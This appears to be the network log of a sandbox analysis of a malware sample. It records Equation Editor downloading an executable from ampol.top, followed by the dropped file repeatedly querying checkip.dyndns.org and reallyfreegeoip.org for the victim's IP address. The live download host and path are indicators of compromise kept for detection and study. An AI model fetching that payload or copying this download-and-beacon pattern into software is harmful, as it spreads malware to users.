Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.691688061 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.187002897 CEST	8.8.8.8	192.168.2.22	0x3812	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.187002897 CEST	8.8.8.8	192.168.2.22	0x3812	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.199649096 CEST	8.8.8.8	192.168.2.22	0x3812	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.199649096 CEST	8.8.8.8	192.168.2.22	0x3812	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.843449116 CEST	8.8.8.8	192.168.2.22	0xbae3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.852303028 CEST	8.8.8.8	192.168.2.22	0x8a3b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:21.494229078 CEST	8.8.8.8	192.168.2.22	0x1b9e	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:21.494229078 CEST	8.8.8.8	192.168.2.22	0x1b9e	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.132004976 CEST	8.8.8.8	192.168.2.22	0xa772	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.141232967 CEST	8.8.8.8	192.168.2.22	0x9f6f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.756479979 CEST	8.8.8.8	192.168.2.22	0xaf1f	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.756479979 CEST	8.8.8.8	192.168.2.22	0xaf1f	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.451953888 CEST	8.8.8.8	192.168.2.22	0x9e69	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.461724043 CEST	8.8.8.8	192.168.2.22	0x2e18	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.990027905 CEST	8.8.8.8	192.168.2.22	0x4f9e	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.990027905 CEST	8.8.8.8	192.168.2.22	0x4f9e	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.661016941 CEST	8.8.8.8	192.168.2.22	0x41d8	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.670028925 CEST	8.8.8.8	192.168.2.22	0xb21a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:25.179678917 CEST	8.8.8.8	192.168.2.22	0x7a55	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:25.179678917 CEST	8.8.8.8	192.168.2.22	0x7a55	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ampol.top

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	158.101.44.242	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:13.880681992 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 1, 2024 20:06:14.596788883 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bfafaf2268caa8f0ef2bab45bef729c5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:14.681226969 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 1, 2024 20:06:14.855660915 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd79b36b59ca5af32b4109d71c045e25 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:15.079313993 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd79b36b59ca5af32b4109d71c045e25 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:16.297147036 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 1, 2024 20:06:16.461544037 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 71e504bd071e8c3200864705fa3e0c1d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49167	193.122.6.168	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:17.267494917 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 1, 2024 20:06:17.935688019 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a123f54bf969e7297934ce1f64f208ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:18.147530079 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a123f54bf969e7297934ce1f64f208ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49169	193.122.130.0	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:18.697963953 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 1, 2024 20:06:19.171230078 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ff86fa62ee8c897842301122a24b821d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49171	158.101.44.242	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:19.857837915 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 1, 2024 20:06:21.475548983 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:21 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 31e38d09acda3244b70dd117d827841f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49173	158.101.44.242	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:22.146749020 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 1, 2024 20:06:22.730767965 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ccc626da05dafa2d1266beafd6c908d1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:22.948739052 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ccc626da05dafa2d1266beafd6c908d1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49175	193.122.130.0	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:23.467356920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 1, 2024 20:06:23.963009119 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fb0cc70ac144307d5529684c02621d12 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:24.175595045 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fb0cc70ac144307d5529684c02621d12 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49177	193.122.130.0	80	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 20:06:24.681402922 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 1, 2024 20:06:25.161417961 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a2ea309e2ef9afb19354f0e917b2de2c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 1, 2024 20:06:25.375566006 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a2ea309e2ef9afb19354f0e917b2de2c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	104.21.53.203	443	1804	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:08 UTC	315	OUT	GET /FcdBUj68lnCbMtB.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ampol.top Connection: Keep-Alive
2024-07-01 18:06:08 UTC	739	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:08 GMT Content-Type: application/octet-stream Content-Length: 554504 Connection: close Last-Modified: Mon, 01 Jul 2024 15:40:22 GMT ETag: "6682cde6-87608" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 6345 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A7G4dorEJshtmnuTRvkFoBn7dNpaekvCms7H0CpUpilZTv8dAa9s%2BvQR%2BbRYMoBO%2BlV4oXDJRhxvRj%2BeD06tcN7KkWT%2BQ1TgpWBpo4IUCsWXL0iOOkRiMYFTrz4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c854055ca60f9f-EWR alt-svc: h3=":443"; ma=86400
